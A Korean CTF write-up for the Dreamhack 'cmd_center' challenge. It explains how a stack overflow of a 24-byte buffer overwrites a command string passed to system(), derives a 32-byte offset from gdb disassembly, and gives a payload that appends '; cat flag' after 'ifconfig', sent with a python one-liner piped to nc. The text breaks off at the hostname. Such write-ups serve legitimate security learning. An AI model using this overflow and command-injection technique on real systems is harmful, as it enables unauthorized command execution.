cmd_center
A 24-byte name buffer read with 100 bytes, overflowing into the command string passed to system().
문제에서 제공된 C 코드는 다음과 같다.
char cmd_ip[256] = "ifconfig"; int dummy; char center_name[24]; printf("Center name: "); read(0,
center_name, 100); if (!strncmp(cmd_ip, “ifconfig”, 8)) { system(cmd_ip); } else { printf(“Something is
wrong!\n"); }
여기서 핵심 취약점은 center_name 배열의 크기보다 훨씬 큰 입력을 받는다는 점이다. center_name은 24바이트밖에 되지 않지만, read()는 최대 100바이트까지 입력을 받는다. 따라서 center_name 뒤에 있는 스택 영역을 덮어쓸 수 있다. 이 문제의 목표는 cmd_ip 값을 조작해서 system(cmd_ip)에서 ifconfig가 아닌 다른 명령어도 실행하도록 만드는 것이 다.
- 중요한 조건
코드를 보면 바로 system(cmd_ip)가 실행되는 것이 아니라, 먼저 아래 조건을 검사한다.
strncmp(cmd_ip, “ifconfig”, 8)
즉, cmd_ip의 앞 8바이트가 반드시 “ifconfig”와 같아야 한다. 따라서 cmd_ip를 단순히 다음처럼 바꾸면 안 된다:
cat flag
이 경우 앞 8바이트가 ifconfig가 아니기 때문에 조건문을 통과하지 못한다. 대신 쉘 명령어에서 ;를 사용하면 여러 명령어를 이어서 실행할 수 있다.
ifconfig; cat flag
이렇게 하면 앞부분은 ifconfig이므로 strncmp() 검사를 통과하고, 이후 system()에서 ifconfig 실행 후 cat flag도 실행 된다. 3. Offset 구하기 이 문제는 ret 주소를 덮는 문제가 아니라, 스택에 있는 지역 변수 cmd_ip를 덮는 문제이다. 따라서 필요한 것은 center_name 시작 위치에서 cmd_ip 시작 위치까지 몇 바이트 떨어져 있는가?
즉, offset이다. gdb에서 main 함수를 disassemble하면 다음과 같은 부분을 확인할 수 있다.
0x916 <+105>: lea -0x130(%rbp),%rax 0x91d <+112>: mov $0x64,%edx 0x922 <+117>: mov %rax,%rsi
0x925 <+120>: mov $0x0,%edi 0x92a <+125>: call read@plt
read() 함수의 두 번째 인자는 입력을 저장할 버퍼 주소이다. x86-64 리눅스에서는 함수 인자가 다음 레지스터로 전달된다.
1번째 인자: rdi 2번째 인자: rsi 3번째 인자: rdx
여기서 read() 호출 직전에:
lea -0x130(%rbp), %rax
mov %rax, %rsi 가 있으므로, 입력이 저장되는 위치는 다음과 같다.
center_name = rbp - 0x130
즉, center_name은 rbp - 0x130에 위치한다.
다음으로 cmd_ip가 어디에 있는지 확인한다.
0x92f <+130>: lea -0x110(%rbp),%rax 0x936 <+137>: mov $0x8,%edx 0x93b <+142>: lea 0xd0(%rip),%rsi
0x942 <+149>: mov %rax,%rdi 0x945 <+152>: call strncmp@plt
strncmp()의 첫 번째 인자는 비교할 문자열인 cmd_ip이다. x86-64 리눅스에서는 첫 번째 인자가 rdi로 전달된다.
호출 직전에:
lea -0x110(%rbp), %rax
mov %rax, %rdi 가 있으므로 cmd_ip의 위치는 다음과 같다.
cmd_ip = rbp - 0x110
이제 두 변수 사이의 거리를 계산하면 된다.
center_name = rbp - 0x130
cmd_ip = rbp - 0x110
차이는:
0x130 - 0x110 = 0x20
0x20은 10진수로 32이다.
0x20 = 32 bytes
따라서 center_name 시작 위치에서 32바이트를 채우면, 그 다음부터 cmd_ip를 덮어쓸 수 있다. 즉 payload 구조는 다음과 같다. “A” * 32 + “ifconfig; cat flag” python3 -c ‘import sys; sys.stdout.buffer.write(b”A”*32 + b”ifconfig; cat flag\x00”)’ | nc host8.dreamhack.